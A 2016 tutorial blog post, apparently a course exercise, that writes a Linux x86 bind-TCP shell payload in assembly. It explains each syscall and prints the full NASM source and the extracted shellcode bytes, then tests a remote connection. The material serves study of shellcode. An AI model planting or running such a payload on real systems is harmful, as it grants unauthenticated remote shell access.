AdSense

Friday, March 4, 2016

1 - Shell Bind TCP shellcode


1 - SHELL BIND TCP

1 - INTRODUCTION

The goal of this program is to spawn a shell as a result of an incoming connection (local or remote) after binding a socket to a TCP port, which should be of easy configuration.

The assembly program Shell_Bind_TCP.nasm follows 6 steps:

a) CREATE a TCP socket.
b) BIND the socket to a TCP port.
c) LISTEN to incoming connections.
d) ACCEPT incoming connections.
e) REDIRECT accepted socket to standard streams.
f) EXECUTE a shell (for instance, the /bin/bash).

All of these steps are performed with Linux syscalls, available for working with sockets on IA-32 (Intel Architecture 32 bits) machines. The foremost syscall is socketcall(), what can be considered as an entry point for the rest of the socket system calls.

socketcall()'s identifier is 102 (0x66):

root@lic:/usr/include/i386-linux-gnu/asm# cat unistd_32.h

#define __NR_socketcall 102


socketcall() accepts two parameters. The first is the integer number of the invoked call, the second is a pointer to the arguments. Searching info about socketcall():

NAME socketcall - socket system calls
SYNOPSIS int socketcall(int call, unsigned long *args);

DESCRIPTION socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call.

The functions invoked by the first argument of socketcall() are known by their call identifier number:

root@lic:/usr/include/linux# cat net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */

The proper use of the above functions will be examined in the context of the Shell_Bind_TCP.nasm program.

2 - WRITING THE PROGRAM STEP BY STEP

Let's examine the Shell_Bind_TCP.nasm program step by step:

a) CREATE a TCP socket

- Starting the assembly program:

     global _start
     section .text
     _start:

- First, socketcall() is called and its identifier (102) moved to eax (previously zeroized):

     xor eax,eax ; zeroize eax
     mov al,0x66 ; socketcall() identifier = 0x66 = 102

- socket() is invoked and its identifier (SYS_SOCKET = 1) moved to ebx (previously zeroized):

     xor ebx,ebx ; zeroize ebx
     mov bl,0x1 ; 1 for SYS_SOCKET

- socket() syscall creates a new socket and allocates system resources to it, accepting three arguments (domain, type and protocol):

root@lic:/# man 2 socket

NAME socket - create an endpoint for communication
SYNOPSIS int socket(int domain, int type, int protocol);
DESCRIPTION socket() creates an endpoint for communication and returns a descriptor.

The domain argument specifies a communication domain; this selects the protocol family which will be used for communication. These families are defined in <sys/socket.h>. The currently understood formats include:

Name Purpose  AF_INET IPv4 Internet protocols

The socket has the indicated type, which specifies the communication semantics. Currently defined types are:
SOCK_STREAM Provides sequenced, reliable, two-way, connection-based byte streams.
The protocol specifies a particular protocol to be used with the socket. 

- In our program, arguments (domain, type, protocol) for socket() would be:

domain : AF_INET for IPv4
type: SOCK_STREAM for TCP protocol
protocol: PPROTP_IP for IP protocol

- Specific values for the arguments are taken from:

root@lic:/usr/include/i386-linux-gnu/bits# cat socket.h

/* Types of sockets. */
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams. */

/* Protocol families. */
#define PF_INET 2 /* IP protocol family. */
/* Address families. */
#define AF_INET PF_INET

root@lic:/usr/include/linux# cat in.h
/* Standard well-defined IP protocols. */

IPPROTO_IP = 0, /* Dummy protocol for TCP */

- To sum it up: AF_INET = 2, SOCK_STREAM = 1, IPPROTO_IP = 0

- Arguments are pushed onto the stack in reverse order to the formal definition:

     ; int socket(int domain, int type, int protocol)

     xor ecx,ecx ; zeroize ecx
     push ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
     push 0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
     push 0x2 ; 2 for domain (AF_INET = IPv4)

- The stack's content, pointing to the arguments, is moved to ecx:

     mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx

- Finally, socketcall() is called. As a result, a socket is created and a file descriptor is returned to eax.

     int 0x80

- For later reutilization, the socket file descriptor is saved into the register edi (previously zeroized). Also, due to the fact that all syscalls return values to the eax, it is necessary to keep safe the socket file descriptor. Otherwise, everytime a syscall would be called (int 0x80) the file descriptor would be overwritten:

     xor edi, edi ; zeroize edi
     mov edi, eax ; file descriptor of the socket is saved into edi

b) BIND the socket to a TCP port

- First, socketcall() is called and its identifier (102) moved to eax (previously zeroized):

     xor eax,eax ; zeroize eax
     mov al,0x66 ; socketcall() identifier = 0x66 = 102

- bind () is invoked and its identifier (SYS_BIND = 2) moved to ebx (previously zeroized):

     xor ebx,ebx ; zeroize ebx
     mov bl,0x2 ; 2 for SYS_BIND

- bind() associates a socket with a socket address structure, i.e. a specified ip address and a local port number, accepting 3 arguments:

root@lic:/# man bind

NAME bind - bind a name to a socket
SYNOPSIS int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
DESCRIPTION When a socket is created with socket(2), it exists in a name space (address family) but has no address assigned to it. bind() assigns the address specified to by addr to the socket referred to by the file descriptor sockfd. addrlen specifies the size, in bytes, of the address structure pointed to by addr. Traditionally, this operation is called “assigning a name to a socket”.


- Arguments are pushed onto the stack in reverse order to the formal definition.

     ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

- Before pushing the arguments, the second one (const struct sockaddr *addr) needs to be crafted. This structure is composed of 3 arguments:


root@lic:/# man 7 ip

struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */

};

- In our program the arguments would be:

sin_family = AF_INET = 2
sin_port = 2016 (0x07e0), according to the Network Byte Order would be big endian (0xe007)
sin_addr = INADDR_ANY = 0, meaning that the bind is valid for all local interfaces

- As usual, arguments are pushed in reverse order:

     xor ecx,ecx ; zeroize ecx
     push ecx ; sin_addr = INADDR_ANY = 0
     push word 0xe007 ; port 2016 (0x07e0), according to Network Byte Order 0xe007
     push word 0x2 ; sin_family = AF_INET=2

- A pointer to the whole structure is moved to ecx, for later use:

     mov ecx,esp ; pointer to sockaddrr is moved to ecx

- Again with bind() arguments, the first argument to be pushed is the lenght (socklen_t addrlen). According to POSIX definition (uint8_t sin_len /*length of structure(16)*/), it is 16 Bytes.

     push 0x10 ; 16 Bytes (0x10) of lenght

- The pointer of the recently created sockaddr_in structure (stored at ecx) is pushed onto the stack:

     push ecx ; pointer to sockaddr

- The socket file descriptor (previously stored at edi) is pushed onto the stack:

     push edi ; file descriptor of the socket to bind

- The stack's content, pointing to the arguments, is moved to ecx. Finally, the syscall is executed:

     mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
     int 0x80

c) LISTEN to incoming connections

- First, socketcall() is called and its identifier (102) moved to eax (previously zeroized):

     xor eax,eax ; zeroize eax
     mov al,0x66 ; socketcall() identifier = 0x66 = 102

- listen () is invoked and its identifier (SYS_LISTEN = 4) moved to ebx (previously zeroized):

     xor ebx,ebx ; zeroize ebx
     mov bl,0x4 ; 4 for SYS_LISTEN

- listen() causes a bound TCP socket to enter listening state:

root@lic:/# man listen

NAME listen - listen for connections on a socket
SYNOPSIS int listen(int sockfd, int backlog);
DESCRIPTION listen() marks the socket referred to by sockfd as a passive socket, that is, as a socket that will be used to accept incoming connection requests using accept(2). The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET. The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow.


- listen () accepts 2 arguments. The first one is the socket file descriptor, previously stored at edi. The second one is the "backlog", what for instance may take a value of 5.

     ; int listen(int sockfd, int backlog)

- Arguments are pushed onto the stack into reverse order:

     push 0x5 ; traditional value for backlog http://tangentsoft.net/wskfaq/advanced.html#backlog
     push edi ; file descriptor of the socket
  
- The stack's content, pointing to the arguments, is moved to ecx. Finally, the syscall is executed:

     mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
     int 0x80

d) ACCEPT incoming connections

- First, socketcall() is called and its identifier (102) moved to eax (previously zeroized):

     xor eax,eax ; zeroize eax
     mov al,0x66 ; socketcall() identifier = 0x66 = 102

- accept () is invoked and its identifier (SYS_LISTEN = 5) moved to ebx (previously zeroized):

     xor ebx,ebx ; zeroize ebx
     mov bl,0x5 ; 5 for SYS_ACCEPT

- accept() accepts a received incoming attempt to create a new TCP connection from the remote client, and creates a new socket associated with the socket address pair of this connection.


root@lic:/# man accept

NAME accept - accept a connection on a socket
SYNOPSIS int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
DESCRIPTION The argument sockfd is a socket that has been created with socket(2), bound to a local address with bind(2), and is listening for connections after a listen(2). The argument addr is a pointer to a sockaddr structure. This structure is filled in with the address of the peer socket, as known to the communications layer. When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL. The addrlen argument is a value result argument: the caller must initialize it to contain the size (in bytes) of the structure pointed to by addr; on return it will contain the actual size of the peer address.

- accept() takes 3 arguments. The first one is the socket file descriptor. The second and the third arguments are NULL, because the connection is new.

     ; int accept(int sockfd, struct sockaddr *cliaddr, socklen_t *addrlen)

- Pushing the arguments on reverse order:

     xor esi,esi ; zeroize esi
     push esi ; addrlen = NULL
     push esi ; *addr = NULL
     push edi ; file descriptor of the socket

- The stack's content, pointing to the arguments, is moved to ecx. Finally, the syscall is executed:

     mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
     int 0x80

- It is important to notice that "int 0x80" generates a new accepted socket file descriptor from the client side, that is returned to eax. So, the accepted socket file descriptor should move to edi to keep it safe:

     mov edi,eax ; accepted socket file descriptor moved to edi

e) REDIRECT to standard streams

- Now, the file descriptor of the accepted socket must be directed to the standard streams . These are the I/O communication channels between the program and the keyboard, screen and error messages.

standard input - stdin(0)
standard output - stdout(1)
standard error - stderr(2)

- The syscall to be used is dup2(), which function is to create a copy of a file descriptor. It takes two arguments, the old (socket file descriptor) and the new file descriptor, and returning the last one in case of success.

root@lic:/# man dup2

NAME dup2 - duplicate a file descriptor
SYNOPSIS int dup2(int oldfd, int newfd);
DESCRIPTION These system calls create a copy of the file descriptor oldfd.

dup2() makes newfd be the copy of oldfd, closing newfd first if necessary, but note the following:

* If oldfd is not a valid file descriptor, then the call fails, and newfd is not closed.
* If oldfd is a valid file descriptor, and newfd has the same value as oldfd, then dup2() does nothing, and returns newfd.


- The identifier for dup2() is 63 = 0x3f


root@lic:/usr/include/i386-linux-gnu/asm# cat unistd_32.h
#define __NR_dup2 63


- Because the redirection must be executed 3 times (1 for each stdin/stdout/stderror), a counter of 2 (2->1->0) is introduced into ecx:

     xor ecx,ecx ; zeroize ecx
     mov cl,0x2 ; initializing ecx as a counter with 2

- A loop is created, which executes by 3 times the dup2() syscall. The counter is decreased by 1 each time the loop is run. Inside each loop, the syscall dup2() is executed, accepting as argument the old file descriptor (previously stored at edi, and moved to ebx), and directing its value to the new file descriptors: stdin(0), stdout(1), stderr(2):

     ; int dup2(int oldfd, int newfd)

     redirect:
          xor eax,eax ; zeroize eax
          mov al,0x3f ; 0x3f = 63 identifier for dup2()
          mov ebx,edi ; accepted socket file descriptor is the old file descriptor
          int 0x80 ; syscall is executed
          dec ecx ; decreasing by 1 the counter
     jns redirect ; the loop ends up when the counter reaches -1

- The condition "jns" ensures that the loop ends up when SF (signed flag) is set, meaning that the counter has reached a value of -1 (Two's complement negative numbers start with 1)

f) EXECUTE /bin/bash

- Finally, the program executes a /bin/bash shell. To perform this task the exceve() syscall is the best option:


root@lic:/# man execve

NAME execve - execute program
SYNOPSIS int execve(const char *filename, char *const argv[], char *const envp[]);
DESCRIPTION execve() executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form: #! interpreter [optional-arg]. argv is an array of argument strings passed to the new program. By convention, the first of these strings should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the ew program. Both argv and envp must be terminated by a NULL pointer. 

- So, execve() executes the program pointed by filaneme, taking 3 arguments:

     ; int execve(const char *filename, char *const argv[], char *const envp[])

     i) filename (stored at ebx) = binary executable program ended with NULL: "bin/bash",0x0
     ii) argv[] (stored at ecx) = address of "bin/bash"
     iii) envp[] (stored at edx) = NULL

- The identifier for execve() is 11 = 0xb

root@lic:/usr/include/i386-linux-gnu/asm# cat unistd_32.h
#define __NR_execve 11


- Starting with the filename "/bin/bash",0x0, an effective approach would be to push directly onto the stack the corresponding ASCII characters. The total number of characters must be a multiple of 4 Bytes, because that is the size of the 32 bits word. It happens that adding "/" chars does not alter the original command. So, "/bin/bash" has exactly the same effect as "////bin/bash", composed of 12 chars, multiple of 4.

- A brief Python script could help in that task:


root@lic:/# python
>>> code = '////bin/bash'
>>> code[::-1]
'hsab/nib////'
>>> code[::-1].encode('hex')
'687361622f6e69622f2f2f2f'


- Pushing ASCII characters for "////bin/bash",0x0 (in reverse order) directly onto the stack:

     xor eax,eax ; zeroize eax
     push eax ; 0x0 is pushed onto the stack
     push 0x68736162 ; hsab
     push 0x2f6e6962 ; /nib
     push 0x2f2f2f2f ; ////

- filename is moved to ebx:

     mov ebx,esp ; filename is moved to ebx

- envp[] = NULL is moved to edx:

     push eax ; eax contains 0x0
     mov edx,esp ; 0x0 is moved to edx

- argv[] = address of "////bin/bash/" is moved to ecx:

     push ebx ; address of filename pushed onto the stack
     mov ecx,esp ; address of filename moved to ecx

- To end the program, the execve() syscall is called:

     mov al,0xb ; 11 = 0xb identifier for execve()
     int 0x80

- The whole program Shell_Bind_TCP.nasm:


global _start
section .text
_start:

; int socket(int domain, int type, int protocol)
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x1 ; 1 for SYS_SOCKET

xor ecx,ecx ; zeroize ecx
push ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push 0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push 0x2 ; 2 for domain (AF_INET = IPv4)

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

xor edi, edi ; zeroize edi
mov edi, eax ; file descriptor of the socket is saved into edi

; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x2 ; 2 for SYS_BIND

xor ecx,ecx ; zeroize ecx
push ecx ; sin_addr = INADDR_ANY = 0
push word 0xe007 ; port 2016 (0x07e0), according to Network Byte Order 0xe007
push word 0x2 ; sin_family = AF_INET=2

mov ecx,esp ; pointer to sockaddrr is moved to ecx
push 0x10 ; 16 Bytes (0x10) of lenght

push ecx ; pointer to sockaddr
push edi ; file descriptor of the socket to bind

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

; int listen(int sockfd, int backlog)

xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102
xor ebx,ebx ; zeroize ebx
mov bl,0x4 ; 4 for SYS_LISTEN

push 0x5 ; traditional value for backlog http://tangentsoft.net/wskfaq/advanced.html#backlog
push edi ; file descriptor of the socket

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

; int accept(int sockfd, struct sockaddr *cliaddr, socklen_t *addrlen)

xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x5 ; 5 for SYS_ACCEPT

xor esi,esi ; zeroize esi
push esi ; addrlen = NULL
push esi ; *addr = NULL
push edi ; file descriptor of the socket

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

mov edi,eax ; accepted socket file descriptor moved to edi
; int dup2(int oldfd, int newfd)

xor ecx,ecx ; zeroize ecx
mov cl,0x2 ; initializing ecx as a counter with 2

redirect:
xor eax,eax ; zeroize eax
mov al,0x3f ; 0x3f = 63 identifier for dup2()
mov ebx,edi ; accepted socket file descriptor is the old file descriptor
int 0x80 ; syscall is executed
dec ecx ; decreasing by 1 the counter
jns redirect ; the loop ends up when the counter reaches -1

; int execve(const char *filename, char *const argv[], char *const envp[])

xor eax,eax ; zeroize eax
push eax ; 0x0 is pushed onto the stack
push 0x68736162 ; hsab
push 0x2f6e6962 ; /nib
push 0x2f2f2f2f ; ////

mov ebx,esp ; filename is moved to ebx

push eax ; eax contains 0x0
mov edx,esp ; 0x0 is moved to edx
push ebx ; address of filename pushed onto the stack
mov ecx,esp ; address of filename moved to ecx
mov al,0xb ; 11 = 0xb identifier for execve()

int 0x80 ; syscall executed   



3 - ASSEMBLING, LINKING, EXTRACTING

- Assembling Shell_Bind_TCP.nasm:


root@lic:/home/daniel/Desktop/SLAE_1# nasm -f elf32 -o Shell_Bind_TCP.o Shell_Bind_TCP.nasm

- Linking Shell_Bind_TCP.nasm:


root@lic:/home/daniel/Desktop/SLAE_1# ld -o Shell_Bind_TCP Shell_Bind_TCP.o

- Extracting the shellcode from Shell_Bind_TCP.nasm:


root@lic:/home/daniel/Desktop/SLAE_1# objdump -d ./Shell_Bind_TCP|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xc9\x51\x66\x68\x07\xe0\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x05\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xf6\x56\x56\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\x89\xfb\xcd\x80\x49\x79\xf5\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"


4 - TESTING

Two computers are used for testing this exercise. On the one hand, the program is executed with an Ubuntu machine. On the other hand, a remote connection will be launched from a Kali machine.

- Ubuntu 12.04 (32 bits) with IP 192.168.1.10:


root@lic:/home/daniel/Desktop/SLAE_1# ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:8d:a2:b4
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0


- Creating ShellcodeTest.c:

root@lic:/home/daniel/Desktop/SLAE_1# sudo gedit ShellcodeTest.c


- Compiling ShellcodeTest.c:


root@lic:/home/daniel/Desktop/SLAE_1# gcc -fno-stack-protector -z execstack ShellcodeTest.c -o ShellcodeTest 

- Executing ShellcodeTest.c:



- Testing from the same machine Ubuntu:



- Testing from the remote machine Kali:


5 - PORT CONFIGURATION

- One of the possible ways to make the TCP port easily configurable would be to convert the port number into a predefined macro.

- For instance, let's take the 9000 port (0x2328 = 9000), adding to the ShellcodeTest.c the predefined macro PORT:


#define PORT "\x23\x28"


- After compiling, executing again ShellcodeTest.c:



- Testing from the same machine Ubuntu (now on port 9000):



- Testing from the remote machine Kali (now on port 9000):